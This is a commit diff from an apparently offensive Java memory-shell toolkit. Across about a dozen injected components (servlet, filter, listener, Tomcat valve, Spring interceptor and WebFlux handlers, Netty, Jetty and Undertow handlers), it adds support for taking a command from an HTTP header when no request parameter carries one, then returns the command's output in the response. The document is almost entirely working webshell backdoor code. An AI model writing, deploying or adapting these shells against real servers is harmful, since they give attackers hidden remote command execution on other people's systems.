mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support command shell get cmd from header
This commit is contained in:
+8
-7
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Scanner;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -17,15 +18,15 @@ public class Command {
|
||||
Object request = unwrap(args[0], "request");
|
||||
Object response = unwrap(args[1], "response");
|
||||
try {
|
||||
String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (param != null) {
|
||||
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
|
||||
}
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||
return true;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
+6
-2
@@ -17,8 +17,12 @@ public class CommandControllerHandler implements Controller {
|
||||
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
try {
|
||||
String param = getParam(request.getParameter(paramName));
|
||||
if (param != null) {
|
||||
String p = request.getParameter(paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = request.getHeader(paramName);
|
||||
}
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
|
||||
+6
-2
@@ -18,8 +18,12 @@ public class CommandFilter implements Filter {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
try {
|
||||
String param = getParam(servletRequest.getParameter(paramName));
|
||||
if (param != null) {
|
||||
String p = servletRequest.getParameter(paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = servletRequest.getHeader(paramName);
|
||||
}
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
|
||||
+13
-14
@@ -5,10 +5,9 @@ import org.springframework.web.reactive.function.server.ServerRequest;
|
||||
import org.springframework.web.reactive.function.server.ServerResponse;
|
||||
import reactor.core.publisher.Mono;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.util.Optional;
|
||||
import java.util.Scanner;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -19,25 +18,25 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
|
||||
|
||||
@Override
|
||||
public Mono<ServerResponse> handle(ServerRequest request) {
|
||||
String p = null;
|
||||
Optional<String> paramOptional = request.queryParam(paramName);
|
||||
if (!paramOptional.isPresent()) {
|
||||
return Mono.empty();
|
||||
if (paramOptional.isPresent()) {
|
||||
p = paramOptional.get();
|
||||
}
|
||||
StringBuilder result = new StringBuilder();
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = request.headers().firstHeader(paramName);
|
||||
}
|
||||
String result = "";
|
||||
try {
|
||||
String param = getParam(paramOptional.get());
|
||||
InputStream inputStream = getInputStream(param);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
result.append(line);
|
||||
result.append(System.lineSeparator());
|
||||
}
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return ServerResponse.ok().body(Mono.just(result.toString()), String.class);
|
||||
return ServerResponse.ok().body(Mono.just(result), String.class);
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
|
||||
+10
-13
@@ -3,9 +3,8 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.server.ServerWebExchange;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.util.Scanner;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -15,23 +14,21 @@ public class CommandHandlerMethod {
|
||||
public static String paramName;
|
||||
|
||||
public ResponseEntity<?> invoke(ServerWebExchange exchange) {
|
||||
String param = getParam(exchange.getRequest().getQueryParams().getFirst(paramName));
|
||||
StringBuilder result = new StringBuilder();
|
||||
String p = exchange.getRequest().getQueryParams().getFirst(paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = exchange.getRequest().getHeaders().getFirst(paramName);
|
||||
}
|
||||
String result = "";
|
||||
try {
|
||||
if (param != null) {
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
result.append(line);
|
||||
result.append(System.lineSeparator());
|
||||
}
|
||||
}
|
||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return ResponseEntity.ok(result.toString());
|
||||
return ResponseEntity.ok(result);
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
|
||||
+6
-2
@@ -18,8 +18,12 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
|
||||
@Override
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
try {
|
||||
String param = getParam(request.getParameter(paramName));
|
||||
if (param != null) {
|
||||
String p = request.getParameter(paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = request.getHeader(paramName);
|
||||
}
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||
return false;
|
||||
|
||||
+6
-2
@@ -33,8 +33,12 @@ public class CommandJettyHandler {
|
||||
response = args[1];
|
||||
}
|
||||
try {
|
||||
String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (param != null) {
|
||||
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
|
||||
}
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
|
||||
+6
-2
@@ -17,8 +17,12 @@ public class CommandListener implements ServletRequestListener {
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String param = getParam(request.getParameter(paramName));
|
||||
if (param != null) {
|
||||
String p = request.getParameter(paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = request.getHeader(paramName);
|
||||
}
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
|
||||
+11
-14
@@ -7,11 +7,10 @@ import io.netty.channel.ChannelHandler;
|
||||
import io.netty.channel.ChannelHandlerContext;
|
||||
import io.netty.handler.codec.http.*;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.URI;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Scanner;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -26,28 +25,26 @@ public class CommandNettyHandler extends ChannelDuplexHandler {
|
||||
if (msg instanceof HttpRequest) {
|
||||
HttpRequest request = (HttpRequest) msg;
|
||||
HttpHeaders headers = request.headers();
|
||||
String param = getParam(getParamFromUrl(request.uri(), paramName));
|
||||
if (param == null) {
|
||||
String p = getParamFromUrl(request.uri(), paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = headers.get(paramName);
|
||||
}
|
||||
if (p == null) {
|
||||
ctx.fireChannelRead(msg);
|
||||
return;
|
||||
}
|
||||
StringBuilder result = new StringBuilder();
|
||||
String result = "";
|
||||
try {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
result.append(line);
|
||||
result.append(System.lineSeparator());
|
||||
}
|
||||
}
|
||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
send(ctx, result.toString());
|
||||
} else {
|
||||
ctx.fireChannelRead(msg);
|
||||
return;
|
||||
}
|
||||
ctx.fireChannelRead(msg);
|
||||
}
|
||||
|
||||
private void send(ChannelHandlerContext ctx, String context) throws Exception {
|
||||
|
||||
+6
-2
@@ -22,9 +22,13 @@ public class CommandServlet extends HttpServlet {
|
||||
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||
String param = getParam(request.getParameter(paramName));
|
||||
try {
|
||||
if (param != null) {
|
||||
String p = request.getParameter(paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = request.getHeader(paramName);
|
||||
}
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
|
||||
+8
-7
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.util.Scanner;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -22,15 +23,15 @@ public class CommandUndertowServletHandler {
|
||||
}
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (param != null) {
|
||||
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
|
||||
}
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||
return true;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
+6
-3
@@ -5,7 +5,6 @@ import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.util.Scanner;
|
||||
@@ -19,8 +18,12 @@ public class CommandValve implements Valve {
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
String param = getParam(request.getParameter(paramName));
|
||||
if (param != null) {
|
||||
String p = request.getParameter(paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = request.getHeader(paramName);
|
||||
}
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||
return;
|
||||
|
||||
+10
-18
@@ -1,16 +1,14 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import org.springframework.core.io.buffer.DataBuffer;
|
||||
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
|
||||
import org.springframework.web.server.ServerWebExchange;
|
||||
import org.springframework.web.server.WebFilter;
|
||||
import org.springframework.web.server.WebFilterChain;
|
||||
import reactor.core.publisher.Mono;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Scanner;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -21,28 +19,22 @@ public class CommandWebFilter implements WebFilter {
|
||||
|
||||
@Override
|
||||
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
|
||||
String param = getParam(exchange.getRequest().getQueryParams().getFirst(paramName));
|
||||
if (param == null) {
|
||||
String p = exchange.getRequest().getQueryParams().getFirst(paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = exchange.getRequest().getHeaders().getFirst(paramName);
|
||||
}
|
||||
if (p == null) {
|
||||
return chain.filter(exchange);
|
||||
}
|
||||
return exchange.getResponse().writeWith(getResult(param));
|
||||
}
|
||||
|
||||
private Mono<DataBuffer> getResult(String param) {
|
||||
StringBuilder result = new StringBuilder();
|
||||
String param = getParam(p);
|
||||
String result = "";
|
||||
try {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
result.append(line);
|
||||
result.append(System.lineSeparator());
|
||||
}
|
||||
}
|
||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
|
||||
return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8))));
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
|
||||
Reference in New Issue
Block a user